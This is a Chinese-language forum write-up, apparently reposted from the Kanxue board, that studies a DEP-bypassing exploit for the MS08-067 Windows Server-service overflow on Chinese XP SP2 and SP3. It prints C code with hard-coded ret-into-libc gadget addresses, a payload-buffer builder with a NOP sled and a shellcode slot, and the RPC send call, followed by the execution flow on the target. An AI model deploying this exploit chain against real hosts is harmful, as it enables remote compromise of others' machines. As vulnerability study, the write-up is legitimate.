MS08-067通用bypass DEP的緩衝區溢出棧幀構造方法的學習

來自於看雪學院
標 題: 【原創】MS08-067通用bypass DEP的緩衝區溢出棧幀構造方法的學習
作 者: parachaos
時 間: 2009-02-09,12:32
鏈 接: http://bbs.pediy.com/showthread.php?t=81667

【題目】一種在windows xp sp2 chs 和windows xp sp3 chs 系統中通用的能夠bypass DEP的利用MS08-067漏洞緩衝區溢出的棧幀構造方法的學習
【作者】ParaChAos

【前言】由於該漏洞利用的一些關鍵地址在windows xp的每個版本中都會變動,爲了提高漏洞***程序的通用性和溢出的成功率,在這裏討論了一種在windows xp sp2 chs 和windows xp sp3 chs 系統中通用的棧幀的構造。

我的系統環境如下:
Windows xp sp2 chs netapi32.dll 2600.2976
Windows xp sp3 chs netapi32.dll 2600.5512

本文假定你已經掌握了緩衝區溢出的基礎知識,以及MS08-067的利用方法,並不做系統性的介紹,只總結該漏洞利用的關鍵片段。

【目錄】
本文有以下內容:
1.bypass dep方法介紹
2.關鍵溢出代碼(改自emm的代碼)
3.關鍵棧幀的製造
4.代碼在被溢出方的執行流程

【內容】
1.bypass dep方法介紹
本文主要是針對下面這篇帖子的學習與總結。雖然不知作者是誰,但還是要表示感謝。
引用自華夏***聯盟的一篇帖子:
“通過ret-into-libc方法編寫通用exp的一個小技巧
ms07029和ms08067這兩個NB漏洞都使用ret-into-libc方法來繞過DEP數據執行保護,首先來科普下什麼是ret-into- libc,一般的棧溢出控制eip後通過一些op code來跳到棧裏執行shellcode,但是開啓了數據執行保護的話,這種方法就不行了,那麼我們只能控制eip往可以執行的地方跳,我們只能在可執行的地方找到符合我們要求的指令,來幫我們幹活,幹完活後我們還需要收回控制權,那麼在幹活指令後必須有一個ret(n),這樣我們纔有可能繼續控制流程 跳轉到另一個地方去幹下一個活,理論上,通過構造stack frame也能完成shellcode的功能。但是這只是理論上說,誰也不會傻到整個shellcode通過stack frame跳來跳去來實現,一般只是利用這個技巧去執行ZwSetInformationProcess函數來關閉DEP,然後ret(n)回去用普通的 辦法執行shellcode。 科普完來到正題,以ms08067爲例子,XP上可以通過上述方法來關閉DEP,但是SP2 CHS和SP3 CHS的跳轉地址不一樣,那麼如何實現通用呢,仔細想想如果我們能利用ret-to-libc先跳到一個地址,假設這個地址在SP2系統上是 pop/pop/pop/.../ret,在SP3系統上是pop/pop/pop/pop/.../ret,只要SP2和SP3上pop的次數不一致導致ret的時候esp不一致,那麼就可以通過構造stack frame來分別跳轉到各自系統的地址。有了這樣一個大膽的假設後,我們需要小心的求證,隨便一搜發現這樣的地址很多,但是符合ms08067的具體情況 不異常的就難找了,嘗試了多個地址後,功夫不負有心人,找到了一個符合要求且滿足ms08067漏洞的特殊要求的地址,實現了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用(XP其他語言版本可以用類似方法)”

2.關鍵溢出代碼
代碼:
……………………………………………………………關鍵跳轉地址,主要用來關DEP
DWORD dwDisableNXSP2 = 0x58FC16E2; //sp2 zwSetInformationProcess//noexecute
DWORD dwDisableNXSP3 = 0x58FC17C2; //sp3 zwSetInformationProcess//noexecute
DWORD dwRetAddrAll = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs 或 ret on sp3 chs 
DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi 
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp 
DWORD dwScratchAddr = 0x00020408; //佔位但必須是readable address
 
……………………………………………………………改自EMM的代碼
     RpcTryExcept
      {
      //NetpwNameCompare(L"LittleWallE",L"123456789",L"123456789",4,0);
//這個數值學自LittleWallE的分析,感謝他詳細的分析
//在棧上製造 L’\\’,也即 0x5c0x00
        func23(L"parachaos","\x4c\x00\x10\x20","\x4c\x00\x10\x20",4,0);
    
      memset(Buff,0,sizeof(Buff));
      BufLen = MakeBuff(Buff,sizeof(Buff));
    CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WaitExit,(LPVOID)NULL,0,&dwID);
(DWORD)*(DWORD *)Buff3 = 1;
 
//NetpwPathCanonicalize(arg_0,(unsigned short *)arg1,(unsigned char *)arg2,arg3,arg4,(long *)Buff3,1); 
//send buff
func1f(L"EMM!",(wchar_t *)Buff,Buff2,1000,L"",(DWORD *)Buff3,1);
 
}
      RpcExcept ( 1 )
      {
          status = RpcExceptionCode();
      if(status == 1726)
      {
      }
      else
      {
        printf("RpcExceptionCode() = %u\r\n", status );
        return;
      }
      }
      RpcEndExcept
/*
  如果返回信息爲:Make SMB Connection error:53或者Make SMB Connection error:1219,
後面的數字可能是變化的。那麼說明該主機沒有開機連網或者沒有安裝 Microsoft 網絡的文件和打印機共享協議 或沒有啓動Server服務,因此無法進行溢出。
 
 還有一種情況是返回信息爲:
SMB Connect OK!
RpcExceptionCode() = 1722
出現這樣的情況,溢出失敗,對方可能開啓了防火牆。
 
  那麼最後就是成功的提示信息了:
SMB Connect OK!
Send Payload Over!
*/

3. 關鍵棧幀的製造
…………………………………………………………………………
//EMM 估計的跳轉地址,但是在我的機器上略有不同,所以進行了微調
代碼:
#define    JMPPOINT    "B041" //emm做的地址
int MakeBuff(char *Buff, int BufLen)
{
    int len = 0;
    char tmp[5] = {0};
    int i;
 
//填充
    for(i = 0; i < BufLen/4; i++)
    {
      memset(tmp,0,4);
      sprintf(tmp,"B%03d",i);
//*      
      if(memcmp(tmp,JMPPOINT,4) == 0)
      {
        break;
      }
//*/
      memcpy(Buff + len,tmp,4);
      len += 4;
    }
//寫溢出的字符串
memcpy(Buff,L".\\\\a\\..\\..\\NN",13*2);
////////////////////////
//my adjust
    len -= 6; //微調
    for(i = 0; i < 6; i++)
    {
      memcpy(Buff + len,&dwScratchAddr,4);//&dwRetAddr,4);
      len += 4;
    }
/*
    memcpy(Buff + len,&dwJmpAddr,4);
    len += 4;
*/
//    add jmp addr here
//下面這個順序基本就是棧中的情況了,低地址在上面
    memcpy(Buff + len,&dwRetAddrAll,4); //通用跳轉地址,sp2和sp3的pop數量不同
    len += 4;
    //is sp3 here
    memcpy(Buff + len,&dwDisableNXSP3,4); //sp3的bypass DEP
    len += 4;
    memcpy(Buff + len, &dwScratchAddr, 4);    ///////這裏地址要求可讀,pop to esi
    len += 4; 
    memcpy(Buff + len, &dwJmpAddrSP3, 4);    //JMP ESI    
    len += 4; 
    memcpy(Buff + len, &dwScratchAddr, 4);    //佔位
    len += 4; 
    memcpy(Buff + len, &dwDisableNXSP2, 4); //SP2 BYPASS DEP
    len += 4; 
    memset(Buff + len, 0x48, 20); //佔位
    len += 20; 
    memcpy(Buff + len, &dwJmpAddrSP2, 4); //sp2 jmp    esp
    len += 4; 
 
    memset(Buff + len,0x90,0xe);    //nop nop
    len += 0xe;
 
    memcpy(Buff + len,sc,sizeof(sc) - 1); //shellcode
    len += sizeof(sc) - 1;
 
    memcpy(Buff + len,"EMM!",4); //author’s name
    len += 4;
 
    memset(Buff + 0x206 * 2,0,2);    //end
    return len;
}


4.代碼在被溢出方的執行流程
…………………………………………………………………………
首先來看棧中的快照
低地址在上
剛溢出時:
1)   L"\\NN"
2)   某個數量的佔位符
3)   通用跳轉地址
4)   Sp3 bypass DEP過程地址
5)   Sp2中Pop到esi的數值
6)   Sp3中Jmp esi 的地址
7)   DWORD佔位
8)   Sp2 bypass DEP過程地址
9)   20字節佔位
10)   Sp2 jmp esp
11)   0xe 個的nop
12)   Shellcode
13)   ……

開始執行:
程序ret到了3)所指的通用跳轉地址,程序執行流程如下:
     當在sp2 chs中時,其內容等價於pop/pop/pop/pop/ret,其中有一條pop esi,是我們需要注意控制內容的,因爲在後面執行zwSetInformationProcess 這個函數時,ESI的內容必須可讀,否則會發生異常。
     在3)地址的4個pop後,執行ret指令跳轉到8)的bypass DEP過程的地址,調用zwSetInformationProcess關閉DEP,然後pop,retn n等指令後,進入10)的地址執行jmp esp,就跳進了11)指向的nop+shellcode中。
/////////////////////////////////////////////////////////////////////////////
     當在sp3 chs中時,3)的內容等價於ret,轉到了4)的過程關閉DEP,隨後有pop和ret,進入6)執行,在這裏esi的值是固定的,直接指向了shellcode。
/////////////////////////////////////////////////////////////////////////////

     因爲緩衝區溢出的環境要求是很嚴格的,差一點都不行,在實踐中***的成功率是很低的,所以在實戰中盡力提高漏洞利用程序的健壯性、通用性就顯得很必要了。這也正是本文討論的意義所在。

----------------------------------------the end-------------------------------------------
以上就是我在學習MS08-067時的一點心得,與大家分享。謬誤之處請大家一定指正。

在此要對一些人表示感謝:
感謝failwest在他的書中深入淺出的講解,幫我快速入門。

感謝LittleWallE的十分詳實的分析,特別是他對netapi32.dll內問題函數的逆向分析使我獲益良多。http://blog.csdn.net/LittleWallE/archive/2009/01/14/3772791.aspx

感謝[email protected]的源代碼,使我對該漏洞利用有了形象的理解。

最後感謝那篇帖子,使我掌握了關DEP的方法和通用shellcode的編寫思路。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章